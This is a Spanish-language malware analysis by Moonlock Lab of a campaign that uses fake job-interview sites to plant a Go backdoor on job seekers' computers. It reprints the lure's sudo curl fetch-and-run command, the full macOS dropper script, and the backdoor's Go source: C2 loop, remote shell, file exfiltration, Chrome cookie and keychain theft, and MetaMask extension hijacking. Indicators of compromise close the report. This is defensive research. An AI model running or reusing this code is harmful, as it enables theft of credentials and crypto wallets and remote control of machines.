
Escrito por el equipo del laboratorio Moonlock de MacPaw
Una campaña cibernética en curso está apuntando a los solicitantes de empleo con sitios web de entrevistas falsos, engañándolos para que descarguen una puerta trasera básica pero muy efectiva. A diferencia del malware sofisticado que utiliza técnicas de ofuscación, este ataque se basa en la simplicidad: entrega el código fuente junto con un binario de Go, lo que lo hace multiplataforma. Aún más preocupante es su intento de secuestrar los permisos de la extensión de Chrome relacionada con las criptomonedas MetaMask, lo que podría vaciar las billeteras de las víctimas.
La campaña sigue activa y aparecen nuevos dominios periódicamente para atraer a más víctimas. Muchos investigadores de seguridad individuales y empresas, como
El equipo de Moonlock Lab comenzó a rastrear este malware en particular el 9 de octubre de 2024, cuando comenzaron a aparecer los primeros componentes de la puerta trasera. Una puerta trasera es un tipo de software malicioso que se oculta en un sistema y permite a los actores de amenazas ejecutar comandos de forma remota, como si fueran los propietarios legítimos de la estación de trabajo. Estos ataques suelen utilizar los denominados servidores C2 (Comando y Control) para enviar y ejecutar comandos.
Lo que distingue a este ataque de otros que observamos habitualmente es que consta de varias etapas y está diseñado para persistir en la máquina de la víctima en lugar de emplear un flujo de robo de datos de una sola vez. En la siguiente imagen se puede ver una descripción completa de las etapas del ataque.
El primer hilo bien estructurado sobre X que notamos fue publicado por
' Generalmente comienza con un "reclutador" de una empresa conocida, por ejemplo, Kraken, MEXC, Gemini, Meta. Los rangos de pago y el estilo de mensajería son atractivos, incluso para aquellos que no buscan trabajo activamente. Principalmente a través de Linkedin. También sitios de autónomos, sitios de empleo, tg, discord, etc.
Para obtener la última versión de este malware, era esencial monitorear los nuevos dominios que albergaban sitios de entrevistas falsas. Para ello, nuestro equipo se basó en dos indicadores inmutables que estos dominios comparten:
Aunque algunos de los dominios utilizados durante esta campaña se están cerrando, siguen apareciendo nuevos, y el más reciente sigue en línea: smarthiretop[.]online . Nuestro equipo ha detectado más de 20 dominios activos desde noviembre de 2024.
Después de investigar los dominios, descubrimos que algunos de ellos comparten la misma dirección IP. Esto suele suceder porque los atacantes utilizan proveedores de alojamiento a prueba de balas, que permiten alojar varios dominios en el mismo servidor. Además, alojar varios dominios en una única IP permite a los actores de amenazas rotar los dominios sin cambiar la infraestructura del backend.
Esta infraestructura maliciosa está alojada en varios servicios distribuidos por todo el mundo. Como se muestra en el mapa a continuación, la mayoría de los servidores están ubicados en los EE. UU., y algunos están repartidos por otros países.
El comando malicioso que se les pidió ejecutar a los entrevistados se oculta en la ventana que aparece cuando visitan un sitio web malicioso. Es un código JS, incluido en el archivo main.39e5a388.js en este caso. Estos nombres de archivo generalmente se generan mediante un mecanismo de hash o de huellas digitales durante el proceso de creación de una aplicación web (Referencia:
Una de las páginas tiene este archivo JS incorporado con el siguiente hash SHA256:
Podríamos detectar fácilmente que dentro de un archivo JS creado se encuentran los mismos comandos que se les pidió a las víctimas que ingresaran:
Después de comprender cómo el actor de amenazas propaga el malware, nuestro objetivo principal era encontrar rápidamente muestras y desarrollar firmas para nuestros usuarios. La primera mención directa de muestras "listas para producción" y sus hashes SHA-256 que encontramos fue en este hilo:
Incluía cinco hashes, a saber:
Además de esto, nuestro equipo comenzó a buscar scripts maliciosos como si nos hubieran engañado para que los descargáramos, al igual que las víctimas. En un momento dado, se utilizó el siguiente comando en sitios web de entrevistas falsas:
Comando de la captura de pantalla (¡no ejecutar!):
sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'
Realiza las acciones que se enumeran a continuación:
Dentro del archivo ffmpeg.sh guardado en una carpeta temporal, podemos encontrar el punto de entrada para este ataque, que incluye:
Como podemos ver en el script que aparece a continuación, está diseñado específicamente para macOS, tanto para Intel como para ARM. Después de definir el modelo de CPU actual, descarga un archivo ZIP con varios archivos. Puede encontrar una revisión más detallada de este script en
#!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup
Referencia:
El contenido del archivo (versión para CPU Intel) que obtiene el script se enumera a continuación:
Todos los archivos del archivo se pueden clasificar en algunos grupos:
Curiosamente, el archivo tiene un tamaño aproximado de 75 MB, principalmente porque incluye muchas partes de bibliotecas y binarios Go legítimos.
Uno de los archivos que observamos que se utilizó durante un largo período de tiempo en este ataque es un binario universal Mach-O con 2 arquitecturas, llamado CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a ).
Se hace pasar por un ícono de Google Chrome, lo que hace que los usuarios habituales crean que el archivo es legítimo y les impide eliminarlo.
El código está escrito en Swift y no se detectaron técnicas de ofuscación fuertes, lo que hace que sea relativamente fácil comprender el flujo de ejecución.
Muestra una ventana que parece una ventana de notificación del sistema, pidiendo al usuario que conceda acceso al micrófono, supuestamente solicitado desde la aplicación Google Chrome.
Incluso si el usuario selecciona "Recordarme más tarde", seguirá apareciendo una ventana solicitando contraseña.
La aplicación afirma requerir acceso al micrófono; sin embargo, está aislada y no se realiza ninguna solicitud de permiso real para el micrófono.
Una vez que el usuario ingresa su contraseña, el malware solicita la dirección IP externa del host en el que se está ejecutando. Luego envía el archivo password.txt a una carpeta de Dropbox que lleva el nombre de la dirección IP externa del usuario.
En la captura de pantalla a continuación se puede ver la URL de la API de Dropbox.
Al examinar el tráfico de la red, pudimos ver intentos de recuperar la dirección IP pública de una víctima.
Una vez recibida la dirección IP, podremos ver solicitudes a Dropbox para cargar el par IP-contraseña usando credenciales codificadas.
Nuestro equipo informó este incidente a Dropbox, junto con las credenciales utilizadas para llevar a cabo esta campaña abusiva.
Es importante señalar que el archivo ZIP descargado por el script ffmpeg.sh contiene el código fuente en texto plano de la puerta trasera, lo que significa que no fue precompilado ni ofuscado. Esto aceleró significativamente el análisis, pero también planteó dudas sobre la atribución adecuada. Huelga decir que los grupos APT de la RPDC suelen ser mucho más sofisticados.
Otra estrategia inusual es la inclusión de un binario de Go ( /bin/go ) en el archivo en lugar de simplemente compilar el código completo. Sin embargo, dado que Go no es la aplicación predeterminada en muchos sistemas operativos, los actores de amenazas pueden haberlo incluido para lograr una mejor compatibilidad. Esto tiene sentido dado que el malware es multiplataforma y se dirige a macOS, Linux y Windows al mismo tiempo.
Un gráfico que ilustra las relaciones y una descripción detallada de cada muestra notable se puede encontrar aquí:
Dentro del archivo, hay un script llamado vcamupdate.sh . Se ejecuta inmediatamente después de descomprimirlo y simplemente ejecuta /bin/go (que está incluido en el ZIP) mientras pasa la ruta a la aplicación principal de Golang ( app.go en este caso).
#!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0
La aplicación de entrada ( app.go ) es responsable de generar un UUID único para la estación de trabajo del usuario, inicializar la URL de C2 e iniciar el bucle principal. En el código podemos ver comentarios de una sola línea, impresiones de mensajes de apoyo y algo de código comentado. También incluye URL probablemente destinadas a pruebas, que los desarrolladores olvidaron eliminar. A pesar de que la dirección IP de C2 es diferente en la campaña principal, las muestras de 2024 compartían la misma funcionalidad y apuntaban a los mismos datos.
Más adelante, la llamada a core.StartMainLoop(id, url) nos lleva a la carpeta core/ con los archivos loop.go y work.go. El archivo loop.go es el principal responsable de recibir y ejecutar comandos desde C2, llamar a submódulos que recopilan datos confidenciales y cargarlos al servidor remoto. Contiene muchas funciones, 8 de las cuales nos gustaría destacar y explorar con más detalle.
Esta función utiliza el submódulo config para inicializar los comandos disponibles y escuchar los entrantes. A continuación, puede encontrar una tabla con todos los comandos junto con sus códigos correspondientes. Puede encontrar un análisis más detallado de la funcionalidad de la puerta trasera en
Nombre del comando | Nombre codificado | Descripción |
---|---|---|
INFORMACIÓN DEL COMANDO | qwer | Obtener nombre de usuario, host, sistema operativo, arquitectura |
COMANDO_CARGAR | asdf | Subir y descomprimir archivo arbitrario desde C2 al host |
COMANDO_DESCARGAR | zxcv | Descargar datos robados a C2 |
COMANDO_OSSHELL | VBCX | Inicializar el shell interactivo entre el host y C2 (ejecutar comandos remotos arbitrarios) |
COMANDO_AUTOMÁTICO | r4ys | Recopilar automáticamente datos confidenciales |
COMANDO_ESPERAR | ghdj | Espere X segundos |
COMANDO_SALIR | ¡Dghh! | Salir del bucle principal (establecer vivo=falso) |
Según el comando recibido de C2, se llamará una función apropiada.
func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }
Esta función recopilará información básica del sistema, como el nombre de usuario, el nombre de host, la versión del sistema operativo y la arquitectura. Cabe señalar que la mayoría de los ladrones de información más conocidos recopilan mucha más información del sistema que este malware.
func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }
En este caso, la carga representa el proceso de envío de un archivo desde el C2 al host infectado, seguido de su descompresión. También indica si la descompresión se realizó correctamente.
func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }
Esta función es la inversa de la anterior. Realiza la compresión de un directorio con archivos recopilados previamente en un archivo tar.gz.
func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }
Esta es una función que debe tener un verdadero backdoor. Espera un comando arbitrario e intenta ejecutarlo. Un comando puede tener argumentos de línea de comandos y la salida se registrará directamente en un C2.
func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }
Este es el punto de entrada del flujo de robo. Esta función contiene múltiples llamadas a los archivos ubicados en la carpeta auto/. Incluyen capturadores, procesadores o modificadores de los siguientes datos:
func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }
Función de utilidad utilizada para enviar la puerta trasera al modo de suspensión, a la espera de más comandos.
func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }
Esta es una función de utilidad que se utiliza para salir del bucle principal de comunicación con el C2.
func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }
La carpeta auto/ contiene un conjunto de aplicaciones Go:
básico.go
const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
Chrome_cambiar_pref.go
// get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
// chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
cookie_crome_darwin.go
var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
cookie_cromo_otro.go
Chrome_cookie_win.go
Chrome_gather.go
func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
Para concluir nuestro análisis, debemos destacar los puntos más importantes:
app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com
b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182
hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080